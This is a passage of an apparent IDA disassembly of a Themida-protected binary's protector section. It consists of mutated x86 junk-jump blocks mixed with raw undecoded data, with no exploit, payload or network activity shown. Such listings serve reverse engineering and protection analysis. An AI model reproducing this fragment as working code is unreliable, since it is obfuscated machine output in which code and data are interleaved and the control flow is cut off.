		mov	bh, ch
		mov	[eax], bh
		pop	ebx
		jmp	loc_5FAD10
; ---------------------------------------------------------------------------


loc_5F7D63:				; CODE XREF: Themida_:005FFA6Bj
		add	eax, edi
		pop	edi
		xchg	eax, [esp]
		pop	esp
		shr	eax, 0Ah
		xor	eax, ecx
		push	edx
		jmp	loc_5F7BDC
; ---------------------------------------------------------------------------


loc_5F7D75:				; CODE XREF: Themida_:005FC173j
		pop	eax
		push	edx
		mov	edx, esp
		push	ecx
		push	eax
		mov	eax, 4
		push	2F9h
		mov	[esp], eax
		jmp	loc_5FBD23
; ---------------------------------------------------------------------------


loc_5F7D8D:				; CODE XREF: Themida_:00600257j
		add	edx, 4
		add	edx, 4
		jmp	loc_5FB24A
; ---------------------------------------------------------------------------
		dw 0F281h
aSnrnsK		db 'nrN<',0
		dd 24048900h, 42474FFh,	24048F58h, 0E1F7665Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5F842E
; ---------------------------------------------------------------------------
		dw 0E0C1h
		dd 73312D03h, 0BD05300Ah, 81BC7238h, 0CD7DF3C6h, 81C60136h
		dd 0CD7DF3EEh, 22E95836h, 8900004Fh, 0F6A5E9D1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F7DEE:				; CODE XREF: Themida_:005F9550j
		sub	edx, 0BF72ECD9h
		add	ecx, edx
		jmp	loc_5FDD37
; ---------------------------------------------------------------------------


loc_5F7DFB:				; CODE XREF: Themida_:005F96A8j
		mov	ecx, ebp
		jmp	loc_5F9D2E
; ---------------------------------------------------------------------------


loc_5F7E02:				; CODE XREF: Themida_:006020AFj
		mov	[esp], ebx
		mov	ebx, 31D47712h
		push	ebp
		mov	ebp, 3DB0634Eh
		sub	ebx, 206F7557h
		add	ebx, ebp
		add	ebx, 206F7557h
		mov	ebp, [esp]
		jmp	loc_600818
; ---------------------------------------------------------------------------


loc_5F7E26:				; CODE XREF: Themida_:005FCEEDj
		add	ebx, 0C525814h
		add	ebx, 121929E7h
		mov	edi, [esp]
		add	esp, 4
		push	small word ptr [eax]
		jmp	loc_5F6943
; ---------------------------------------------------------------------------
		dd 2C6C53BBh, 63C3812Dh, 89E5110Fh, 4A41E9DFh, 0EF010000h
		dd 5AB1EF81h, 0BD55592Ah, 5E98316Ah, 5D5DEF01h,	5C243C87h
		dd 5571E9h
		db 0
; ---------------------------------------------------------------------------


loc_5F7E6D:				; CODE XREF: Themida_:005FE090j
		pop	edx


loc_5F7E6E:				; CODE XREF: Themida_:005FD994j
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		jmp	loc_5FB188
; ---------------------------------------------------------------------------
		db 1, 0FEh, 81h
		dd 4A7B36C6h, 0EB815F15h, 35AF4BF4h, 0E952F301h, 0FFFFF67Fh
		dd 4C381h, 0B8500000h, 4, 8758C329h, 0E95C241Ch, 1ECAh
		dd 0BFBB5346h, 0E95AD112h, 2BA7h, 0DBF7D987h, 9DE9D987h
		dd 28000032h, 0B65253D8h, 8A17E939h, 0E95C0000h, 0FFFFEA6Fh
		dd 2414895Ch, 2BAh, 5AD30100h, 31241C33h, 0AEE9241Ch, 0F6000067h
		dd 80D9F6D1h, 0CF3066C1h, 49FFE9h, 0BC686600h, 1C89663Eh
		dd 3B15124h, 0C8BCB88h,	4C48324h, 5B66DD88h, 0F656E580h
		dd 5EDC0DDh, 66CEF580h,	2831B753h, 5B66F8h, 2433E9E8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5F7F2A:				; CODE XREF: Themida_:005FA58Bj
		push	ebx
		mov	ebx, 655365C5h
		xor	ebx, 3C072BBCh
		mov	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	ebp, 28160FADh
		jmp	loc_5FCDDB
; ---------------------------------------------------------------------------
		db 0E9h, 0F5h, 0E9h
		dd 7BBFFFFFh, 0C128C806h, 0EFC103E7h, 3286E907h, 87580000h
		dd 248B242Ch, 4EC8124h,	89000000h, 0C2E9243Ch
		db 0A6h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5F7F73:				; CODE XREF: Themida_:005FE8C6j
		xchg	edx, [esp]
		pop	esp
		and	eax, edi
		mov	edi, [esp]
		jmp	loc_5F7067
; ---------------------------------------------------------------------------
		db 29h,	0FBh, 0E9h
		dd 4C52h, 346460BBh, 8EBC170h, 66D6F381h, 814B3133h, 4352B5F3h
		dd 78DDE931h, 0ED810000h, 704663C7h, 43C2C581h,	0EE8961D2h
		dd 0E9F0295Dh, 0AF09h
dword_5F7FB8	dd 4EC81h, 2C890000h, 81E58924h, 4C5h, 4B85000h, 0E9000000h
					; DATA XREF: Themida_:005F675Co
		dd 9D2Bh, 4EC81h, 0C890000h, 28BF5724h,	0E933594Ch, 8862h
		dd 0C681E689h, 4, 4B0B850h, 56E90A4Eh, 56FFFFE9h, 51E468h
		dd 24248900h, 4240483h,	8F44E9h, 81E78900h, 4C7h, 2BD5500h
		dd 0E9000000h, 72F6h, 117968h, 24148900h, 0BAh,	8973E900h
		dd 0C6810000h, 324120EAh, 0FFF37EE9h, 24895CFFh, 24048124h
		dd 4, 4C7815Fh,	83000000h, 3C3304C7h, 6AC7E924h, 0C7810000h
		dd 0BF44324h, 0EF81CF29h, 0BF44324h, 0D4E9C359h
		db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F806F:				; CODE XREF: Themida_:005FB819j
		pop	ebx
		not	ebx
		neg	ebx
		sub	ebx, 1
		add	ebx, 0AAD6A926h
		mov	edx, ebx
		pop	ebx
		add	edx, 1F662E17h
		add	edx, edi
		jmp	loc_5FA191
; ---------------------------------------------------------------------------


loc_5F808D:				; CODE XREF: Themida_:005FFACAj
		sub	eax, 5AF7DA8h
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_5FB06A
; ---------------------------------------------------------------------------
		dw 0E5C0h
		dd 8E5C004h, 0A6ADE9h
		db 0
; ---------------------------------------------------------------------------


loc_5F80B1:				; CODE XREF: Themida_:005FCF0Fj
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5FEE47
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 88EFB324h, 0C6805BDEh, 4E6C0C1h, 8803EE80h, 52665AF7h
		dd 0D7209EB2h, 864FE9h,	42D2F700h, 691EA81h, 0D5894A85h
		dd 5E5C15Ah, 39BEE581h,	0CD812243h, 1147216h, 7A21F581h
		dd 0EE29391Eh, 34335D5Dh, 24343124h, 8B243433h,	34FF2424h
		dd 24048B24h, 6069E9h
		db 0
; ---------------------------------------------------------------------------


loc_5F8115:				; CODE XREF: Themida_:005FB875j
		mov	[esp], ebx
		jmp	loc_5FB814
; ---------------------------------------------------------------------------
		db 0D3h, 2 dup(24h)
		dd 0E81DE99Ch, 0E950FFFFh, 5AB6h
; ---------------------------------------------------------------------------


loc_5F812C:				; CODE XREF: Themida_:00602AD6j
		mov	ebx, 2CFB6154h
		jmp	loc_60228D
; ---------------------------------------------------------------------------
		dw 895Bh
		dd 24148B0Ah, 0E904C483h, 3703h
dword_5F8144	dd 8B2434FFh, 54572404h, 4B8505Fh, 81000000h, 5B3BFFC7h
					; DATA XREF: Themida_:005F6838o
		dd 0E9C7013Ch, 31CEh, 158C731h,	0D8E95FFAh, 89FFFFE7h
		dd 4C381E3h, 0E9000000h, 3F6Bh
; ---------------------------------------------------------------------------


loc_5F8178:				; CODE XREF: Themida_:006024BCj
		push	ecx
		mov	edi, [esp]
		push	4D30h
		mov	[esp], edi
		jmp	loc_601D98
; ---------------------------------------------------------------------------
		db 89h,	0E1h, 81h
		dd 4C1h, 4C18300h, 5C240C87h, 0E904EB83h, 12A0h
; ---------------------------------------------------------------------------


loc_5F81A0:				; CODE XREF: Themida_:0060081Ej
		inc	ebx
		push	edx
		mov	edx, 0
		jmp	loc_5FD6FD
; ---------------------------------------------------------------------------


loc_5F81AC:				; CODE XREF: Themida_:005F847Cj
		and	eax, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_601F66
; ---------------------------------------------------------------------------


loc_5F81BC:				; CODE XREF: Themida_:005FF7FCj
		push	ecx
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5FEB82
; ---------------------------------------------------------------------------
		dd 3C8BF829h, 37E95724h, 68000004h, 6380h, 4E35E9h, 240C8900h
		dd 92E3E954h, 0C3810000h, 4, 20A0E9h
		db 0
byte_5F81F1	db 56h,	0BEh, 65h	; DATA XREF: Themida_:005F6860o
		dd 5560A22Eh, 0E75AECBDh, 0E9DDF73Bh, 905Dh, 6A1568h, 24348900h
		dd 5E2414F7h, 24BEF681h, 0EE81386Bh, 9B25337h, 53C0E9h
		dd 4C48300h, 0F7BE5659h, 29334D46h, 0D7F75EF7h,	0C977F781h
		dd 0FB010224h, 2C3815Fh, 87000000h, 0F65C241Ch,	0B60F66E1h
		dd 324F68CCh, 1C890000h, 4EC8124h, 54000000h, 0E924048Fh
		dd 781Ch, 1EBAC381h, 815F338Ah,	4ECh, 243C8900h, 2BFh
		dd 137FE900h, 0B80000h,	29000000h, 58C589E8h, 4E2AC581h
		dd 62E94026h
		db 0A7h, 2 dup(0)
byte_5F828F	db 64h			; DATA XREF: Themida_:005F68C0o
		dd 0ACE9028Fh, 52FFFFE6h, 0F588E688h, 2434FF5Ah, 4C48358h
		dd 5966E828h, 1DE9D828h, 5C000084h, 27CAE9h, 7DE95D00h
		db 40h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5F82BB:				; CODE XREF: Themida_:005F9958j
		push	ecx
		mov	ecx, 0FEC73125h
		xor	edx, ecx
		pop	ecx
		push	edx
		push	2A21h
		mov	[esp], esi
		push	edi
		mov	edi, 546A459Ch
		mov	esi, 0B41D0EDAh
		add	esi, edi
		pop	edi
		sub	[esp+4], esi
		pop	esi
		pop	edi
		jmp	loc_6025DC
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 8BC60104h, 0C4832404h, 2C68304h, 5C243487h, 0E99CC138h
		dd 49E1h
; ---------------------------------------------------------------------------


loc_5F8300:				; CODE XREF: Themida_:006003CCj
		shl	edx, 5
		add	edx, 895940E4h
		mov	edi, edx
		pop	edx
		sub	esi, edi
		pop	edi
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	esi
		jmp	loc_5F765F
; ---------------------------------------------------------------------------


loc_5F831E:				; CODE XREF: Themida_:005FFA8Fj
		add	eax, 7CB838BFh
		push	493Dh
		mov	[esp], esi
		push	eax
		mov	eax, 1FCE1FDBh
		mov	esi, 8D045459h
		jmp	loc_5FF577
; ---------------------------------------------------------------------------
		db 29h
		dd 242C8BEEh, 6804C483h, 7E370F71h, 0FFE987E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5F834D:				; CODE XREF: Themida_:005FA574j
		mov	esi, ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		jmp	loc_5FBA51
; ---------------------------------------------------------------------------


loc_5F8358:				; CODE XREF: Themida_:005F90FAj
		mov	eax, 326B5AD0h
		and	eax, 59E6D6Fh
		and	eax, 25886E86h
		not	eax
		inc	eax
		jmp	loc_5FA030
; ---------------------------------------------------------------------------


loc_5F836F:				; CODE XREF: Themida_:005FE128j
		pop	edx
		jmp	loc_6008F0
; ---------------------------------------------------------------------------
		db 8Bh,	34h, 24h
		dd 4C481h, 80E90000h
		db 0A4h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5F8383:				; CODE XREF: Themida_:005FDE1Dj
		sub	dword ptr [esp+4], 64C83F2Eh
		pop	edx
		mov	eax, [esp]
		jmp	loc_5FB4CE
; ---------------------------------------------------------------------------
		dd 0E089505Ah, 405h, 4E88300h, 5C240487h, 52241C89h, 0D788EA88h
		dd 0FF3A885Ah, 34FF2434h, 0C4815B24h, 4, 4C481h, 0E9590000h
		dd 0FFFFE57Bh, 16C68146h, 814E642Ah, 0BF152FF6h, 0AEF6812Ch
		dd 505EA766h, 0E80953B8h, 90D8E971h, 87590000h,	685C241Ch
		dd 51D2h, 0B9240C89h, 94DB85Bh,	3ABE5652h, 0E9629525h
		dd 3A99h, 31C6858h, 0A9E90000h
		db 68h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5F840F:				; CODE XREF: Themida_:005F8FECj
		sub	edx, 74FB0DC5h
		jmp	loc_5F954A
; ---------------------------------------------------------------------------
		dw 0F181h
		dd 358203F0h, 0FFFC35E9h
		db 0FFh
byte_5F8425	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:005F6888o
		dd 3CFDE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5F842E:				; CODE XREF: Themida_:005F7DC1j
		push	ecx
		push	eax
		jmp	loc_5F8B54
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 25h
		dd 19750FDh, 70E95FFDh,	8100005Eh, 3E5D32EAh, 0AEEA8105h
		dd 88115F19h, 0A09DE902h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5F8456:				; CODE XREF: Themida_:005FCFD5j
		pop	ebx
		mov	esi, edi
		pop	edi
		sub	esi, 0EC564B13h
		mov	edx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	7B3Ah
		mov	[esp], edi
		mov	edi, 0D183E75Bh
		add	edx, edi
		pop	edi
		jmp	loc_5F81AC
; ---------------------------------------------------------------------------
		db 0BAh, 0A3h, 21h
		dd 0D0292B9Ch, 26F2E9h,	83505200h, 896602ECh, 5DB7241Ch
		dd 5B66F888h, 0C288132Ch, 0FEFA8658h, 0F88850CFh, 379E9h
		dd 0E5BE5600h, 8121E44Ah, 40035ACEh, 0D6F7463Eh, 8C37E9h
		dd 226C6800h, 815F3296h, 721DDEEFh, 5FF831EEh, 0E1574935h
		dd 4840481Ah, 14036852h, 148B7108h, 4C48124h, 42000000h
		dd 0E281D2F7h, 3F8054F3h, 0A282EA81h, 0D001893Bh, 9656E9h
		dd 24048F00h, 3124248Bh, 38E92404h
		db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F850B:				; CODE XREF: Themida_:005FD3FEj
		add	esp, 4
		pop	eax
		sub	esp, 4
		mov	[esp], esi
		sub	dword ptr [esp], 136C3540h
		jmp	loc_5FB2F7
; ---------------------------------------------------------------------------
		dd 0EE81C601h, 4E2048C7h, 0E9F20158h, 20B4h, 42ACBA52h
		dd 0EA81144Ah, 0F5012767h, 83E9D629h, 0B9000038h, 6EBF32ADh
		dd 0F706E1C1h, 7B850D1h, 8159B3CBh, 0B17B03C1h,	81C10160h
		dd 0B17B03E9h, 0CF015860h, 49AFE9h, 52D70100h, 0FFF639E9h
		dd 0A4E951FFh
		db 3Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5F857B:				; CODE XREF: Themida_:00600AD3j
		add	esi, 4
		jmp	loc_5FAE44
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 2CFDEB81h, 0E9533BBCh, 0FFFFF455h, 31243C33h, 9CE9243Ch
		dd 83000092h, 545004C4h, 40558h, 0C0830000h, 24048704h
		dd 77C685Ch, 0C890000h,	81E18924h, 4C1h, 4C18300h, 33DE68h
		dd 240C8900h, 42474FFh,	24048F59h, 0F24248Bh, 9C51C8AFh
		dd 0FFE35EE9h, 0D1BE56FFh, 0E93CB415h, 5757h, 242C895Ch
		dd 3CBDh, 5DEA8900h, 5E25BD55h,	0EA2924F2h, 5163E95Dh
		dd 0E7890000h, 4C781h, 0B8500000h, 4, 26E9C701h
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5F861F:				; CODE XREF: Themida_:005FAA8Dj
		add	esp, 4
		xchg	eax, ebx
		jmp	loc_5FBA69
; ---------------------------------------------------------------------------


loc_5F862B:				; CODE XREF: Themida_:005F9F34j
		add	ebx, 4
		push	eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		push	ebx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_5F89FA
; ---------------------------------------------------------------------------
		db 2Dh
		dd 2EE70210h, 3A37E9h
		db 0
byte_5F8651	db 66h,	8Bh, 4		; DATA XREF: Themida_:005F68BCo
		dd 7F85E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5F865A:				; CODE XREF: Themida_:005FCEF8j
		sub	edi, 5F7516EAh
		jmp	loc_5F9DC3
; ---------------------------------------------------------------------------
		db 29h,	0F8h, 0FFh
		db 34h,	24h, 5Fh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5FE801
; ---------------------------------------------------------------------------
		db 28h
		dd 82B151C2h, 0D1F6D1F6h, 0FE03E9C0h, 80D9F6C9h, 0A6E9C7F1h
		dd 66000043h, 9CE99C50h, 66FFFFE2h, 4B1B252h, 51FE2C9Bh
		dd 0D1F683B1h, 1A7EE9h,	4C78100h, 0E9000000h, 0A3EAh
; ---------------------------------------------------------------------------


loc_5F86C4:				; CODE XREF: Themida_:005F8884j
		shl	edx, 1
		push	eax
		mov	eax, 24h
		jmp	loc_5FFAC3
; ---------------------------------------------------------------------------
		db 40h,	48h, 2Dh
		dd 0DB2E65Fh, 5D58C301h, 39B5E9h
		db 0
; ---------------------------------------------------------------------------


loc_5F86E1:				; CODE XREF: Themida_:005FEC26j
		mov	ecx, esi
		pop	esi
		jmp	loc_5FF277
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 55000000h, 0F70A9FBDh, 0AAB85019h, 0E968EB47h, 0FFFFF639h
		dd 5224148Bh, 0C2815A54h, 4, 4BE56h, 0F2010000h, 2414875Eh
		dd 53C3315Ch, 0C381E389h, 4, 2EB81h, 0EC830000h, 241C8904h
		dd 42474FFh, 4D2DE95Bh,	0CB000000h, 1A2B6859h, 4890000h
		dd 800DB424h, 0DAE96CC4h
		db 89h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5F874F:				; CODE XREF: Themida_:005FC535j
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_600472
; ---------------------------------------------------------------------------


loc_5F875E:				; CODE XREF: Themida_:005FB862j
		mov	bl, ch
		mov	dl, bl
		jmp	loc_601730
; ---------------------------------------------------------------------------
		db 1
		dd 2434FFD6h, 506685Ah,	0E0E90000h
		db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F8777:				; CODE XREF: Themida_:005FCBC6j
		sub	edi, 65CECFC0h
		push	edi
		push	6DEBh
		jmp	loc_5F8F3B
; ---------------------------------------------------------------------------


loc_5F8788:				; CODE XREF: Themida_:005FF409j
		add	esp, 4
		push	edi
		mov	edi, 64A32309h
		sub	eax, 40221287h
		add	eax, 2F155EDAh
		sub	eax, edi
		sub	eax, 2F155EDAh
		add	eax, 40221287h
		pop	edi
		pop	edi
		push	edx
		mov	edx, esp
		push	ebx
		push	ebp
		push	edi
		push	4A7931BBh
		jmp	loc_5FEC5F
; ---------------------------------------------------------------------------
		dd 1F10D4BBh, 6E10E949h, 0D8210000h, 67290D5Bh,	6FE92195h
		dd 0B7000037h, 5BFE8835h, 0CE80D6F6h, 0EFD2E94Eh, 0C89FFFFh
		dd 81E18924h, 4ECh, 89E2E900h, 0F3810000h, 788BBDA0h, 295BD801h
		dd 381A2DC8h, 33592DE6h, 4312404h, 24043324h, 2404895Ch
		dd 0FFE12EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5F8815:				; CODE XREF: Themida_:006007BCj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mul	ecx
		jmp	loc_5FC5FA
; ---------------------------------------------------------------------------
		dw 0D788h
		dd 5058C288h, 0C22055B0h, 5624048Bh, 0C681E689h, 4, 551CE9h
		dd 243C8900h, 0FFE212E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5F8849:				; CODE XREF: Themida_:005FB763j
		sub	ecx, 610521FAh
		add	ecx, ebx
		jmp	loc_5F9C99
; ---------------------------------------------------------------------------
		dw 8953h
		dd 4C381E3h, 81000000h,	2C3h, 241C8700h, 11C9805Ch, 0F2E9D1F6h
		db 0EBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F8873:				; CODE XREF: Themida_:0060162Fj
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		or	edx, eax
		jmp	loc_5F86C4
; ---------------------------------------------------------------------------


loc_5F8889:				; CODE XREF: Themida_:005FD982j
		pop	ebx
		push	ebx
		mov	ebx, 44B72637h
		jmp	loc_6022E4
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 4C481h, 3C870000h, 24248B24h, 24048B66h, 2E18E9h
		db 0
aMh7		db 'h7$',0             ; DATA XREF: Themida_:005F6770o
		dw 0E900h
		dd 4D99h, 5E08950h, 4, 405h, 24048700h,	74E9595Ch, 1FFFFE0h
		dd 0E931FFD1h, 6032h, 4C181h, 0FF510000h, 59042474h, 5C24048Fh
		dd 555DE901h, 3FE2BE56h, 0EE812EF3h, 2EF33FE0h,	15EF589h
		dd 56B2E9E9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5F8902:				; CODE XREF: Themida_:005FD540j
		push	1D29h
		jmp	loc_5F73E6
; ---------------------------------------------------------------------------
		dd 5FFE015Bh, 3302C683h, 34312434h, 24343324h, 0D324248Bh
		dd 0E99C2404h, 2AAh, 4B9h, 59C80100h, 8B240487h, 51522424h
		dd 0C73223B9h, 1130BA18h, 0CA312BBAh, 3579E9h, 0DEE95B00h
		dd 56000065h, 8DB8E9h
		db 0
; ---------------------------------------------------------------------------


loc_5F8955:				; CODE XREF: Themida_:006016B3j
		add	esi, 7A91E93Dh
		add	eax, esi
		pop	esi
		pop	ebx
		sub	esp, 4
		jmp	loc_60118C
; ---------------------------------------------------------------------------
		db 81h
		dd 0B6790CEAh, 81C2295Dh, 0B6790CC2h, 0B5C2815Dh, 51742C4Eh
		dd 434B3EB9h, 59CA0147h, 0FFDFBAE9h, 59CB01FFh,	4E2FEB81h
		dd 0FB295664h, 7124E9h
		db 0
byte_5F8999	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:005F68D8o
		dd 4F2E924h, 0BA520000h, 0EF26C62h, 0BA5AD689h,	6F76E36h
		dd 348BF231h, 4C48324h,	148BD301h, 4C48124h, 0E9000000h
		dd 0FFFFDF7Bh, 4506EDC1h, 5E9DDF7h
		db 77h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5F89D3:				; CODE XREF: Themida_:00602BFDj
		add	[esp+4], eax
		pop	eax
		jmp	loc_5F6943
; ---------------------------------------------------------------------------
		db 52h,	0B2h, 0A6h
		dd 8807EA80h, 0C5805AD5h, 6EDC01Fh, 27C580h, 505959E8h
		dd 67ABE954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5F89FA:				; CODE XREF: Themida_:005F8642j
		pop	ebx
		jmp	loc_602C70
; ---------------------------------------------------------------------------
		dd 5F04C483h, 1C8BDA89h, 4AE0E924h, 0E95E0000h,	0FFFFFB59h
		dd 53C2015Fh, 2B1AB850h, 0E8C115D4h, 8E0C102h, 0C103E0C1h
		dd 0E10D07E0h, 5112512h, 127B372Fh, 57C78957h, 37240481h
		dd 5B6FF954h, 5437EB81h, 9E96FF9h
		db 22h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5F8A4B:				; CODE XREF: Themida_:005F700Cj
		mov	bl, dh
		jmp	loc_601CC0
; ---------------------------------------------------------------------------
		dw 0ECE9h
		dd 0F7FFFFDEh, 8CE953DEh, 0B8000087h, 289F3CA5h, 0D80B9E2Dh
		dd 71C2052Ch, 0CC350638h, 812510FBh, 2048C7C6h,	0FAA6E94Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F8A7E:				; CODE XREF: Themida_:005FD905j
		sub	eax, 34023h
		jmp	loc_5FB90F
; ---------------------------------------------------------------------------
aIss2		db '!2',0
		dw 5100h
		dd 8850E2B5h, 58C388E8h, 0B7C38059h, 0FFE582E9h, 1C8759FFh
		dd 67E95C24h, 33000081h, 0C31240Ch, 1F9E924h
		db 2 dup(0)
word_5F8AB6	dw 8B66h		; DATA XREF: Themida_:005F6774o
		dd 8956240Ch, 4C681E6h,	0E9000000h, 12BBh, 4240483h, 2CCE9h
		db 0
byte_5F8AD1	db 0FFh, 34h, 24h	; DATA XREF: Themida_:005F67E4o
		dd 8124048Bh, 4C4h, 0EC835300h,	24248904h, 0A42AE9h
		db 0
; ---------------------------------------------------------------------------


loc_5F8AE9:				; CODE XREF: Themida_:005FE1F3j
		mov	edi, offset word_514F0E
		or	edi, 0C696F9Ch
		sub	edi, 5794A82h
		jmp	loc_5FA582
; ---------------------------------------------------------------------------
		db 89h
		dd 4C181E1h, 52000000h,	353B8DBAh, 2EAC119h, 0E906E2C1h
		dd 1F0Bh
dword_5F8B18	dd 8B2434FFh, 35E92404h, 30000082h, 241C8BD8h, 2DACE9h
					; DATA XREF: Themida_:005F6864o
		db 0
; ---------------------------------------------------------------------------


loc_5F8B2D:				; CODE XREF: Themida_:005FF51Ej
		or	eax, eax
		jz	loc_602B78
		push	dword ptr [edi+1Ch]
		add	dword ptr [esp], 8D42C5h
		mov	ecx, [esp]
		add	esp, 4
		push	33A8h
		jmp	loc_5FB89F
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFDDEFh
; ---------------------------------------------------------------------------


loc_5F8B54:				; CODE XREF: Themida_:005F8430j
		mov	eax, esp
		push	ebx
		push	ebp
		mov	ebp, 38BE1C16h
		jmp	loc_5FC356
; ---------------------------------------------------------------------------
		dw 0DF29h
		dd 81F7295Bh, 345C81C7h, 5970E946h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5F8B72:				; CODE XREF: Themida_:005F95B4j
		add	ebp, 3B0419CAh
		pop	ebx
		add	ebp, 4
		push	ebp
		jmp	loc_600B0C
; ---------------------------------------------------------------------------
		db 66h,	81h, 0F7h
		dd 166F2A8h, 81665FFAh,	0E94B98F2h, 56Dh, 0E9243487h, 48B7h
		dd 815AD721h, 0CBD3B6C7h, 0F0DAE9B4h, 8958FFFFh, 5ABF5AD0h
		dd 31784148h, 0EF8158C7h, 0F73AD326h, 0BD615005h, 51F8016Ch
		dd 0BB7EF368h, 0E1C3E904h, 6CE9FFFFh
		db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F8BD7:				; CODE XREF: Themida_:005FB85Cj
		pop	esp
		imul	cx, ax
		jmp	loc_5F95C6
; ---------------------------------------------------------------------------
byte_5F8BE1	db 66h,	53h, 52h	; DATA XREF: Themida_:005F6758o
		dd 0FFE601E9h, 0C6BF57FFh, 0F7292640h, 1B35E9DFh, 1C8B0000h
		dd 4C48324h, 0E9240C87h, 54A8h
; ---------------------------------------------------------------------------


loc_5F8C04:				; CODE XREF: Themida_:005FBB78j
		push	dword ptr [ebx]
		pop	eax
		pop	ebx
		jmp	loc_600BB6
; ---------------------------------------------------------------------------
		db 25h,	62h, 17h
aRs_0		db 'R[',0
		dw 100h
		dd 0C28159CAh, 1, 0BD55D2F7h, 69CBA5CFh, 15DEA29h, 1118E9D6h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5F8C32:				; CODE XREF: Themida_:005F79C3j
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5F7811
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0CBFE04E3h, 2C55F380h, 0F271E9D9h, 0EC81FFFFh, 2, 24148966h
		dd 0D300F5B2h, 36B0E9h,	241C8B00h, 4C481h, 7FE90000h, 5AFFFFE2h
		dd 4244C01h, 4244481h, 2B917918h, 70DFE9h
		db 0
; ---------------------------------------------------------------------------


loc_5F8C85:				; CODE XREF: Themida_:005FF7E0j
		pop	edi
		add	edi, 4
		jmp	loc_5FD69D
; ---------------------------------------------------------------------------
		db 80h,	0C1h, 1
		dd 0BBE980h, 0B15159C8h, 0E953522Fh, 0FFFFFB2Fh
; ---------------------------------------------------------------------------


loc_5F8CA4:				; CODE XREF: Themida_:005FAA2Fj
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5FED4F
; ---------------------------------------------------------------------------
		db 33h
		dd 0F4E9240Ch
		db 2Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5F8CB7:				; CODE XREF: Themida_:005FB3BCj
		mov	edi, [esp]
		add	esp, 4
		sub	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5FAFC6
; ---------------------------------------------------------------------------


loc_5F8CCA:				; CODE XREF: Themida_:005F9649j
		push	63CFh
		mov	[esp], edx
		mov	edx, 24740199h
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 2CA6741Dh
		neg	esi
		xor	esi, 5FDE693Fh
		jmp	loc_5FA146
; ---------------------------------------------------------------------------
		db 68h
		dd 0FBEh, 68240C89h, 467D0800h,	0E9240C8Bh, 0A19h, 0C101C083h
		dd 0D0F703E0h, 0AB928D35h, 58C6291Bh, 8826E951h, 305C0000h
		dd 0E99C2404h, 0FFFFDC1Fh, 1F4513B9h, 6DECE971h
		db 2 dup(0)
word_5F8D2E	dw 8B66h		; DATA XREF: Themida_:005F6840o
		dd 29E92404h, 5A00004Fh, 0E9242C87h, 5CC8h, 268h, 242C8B00h
		dd 4C481h, 0EA010000h, 2414875Dh, 6624248Bh, 2404A30Fh
		dd 0DBE1E99Ch, 34FFFFFFh, 0C4815A24h, 4, 0A0D0E9h, 243C8B00h
		dd 4C481h, 0C6830000h, 24348702h, 48B665Ch, 74E95124h
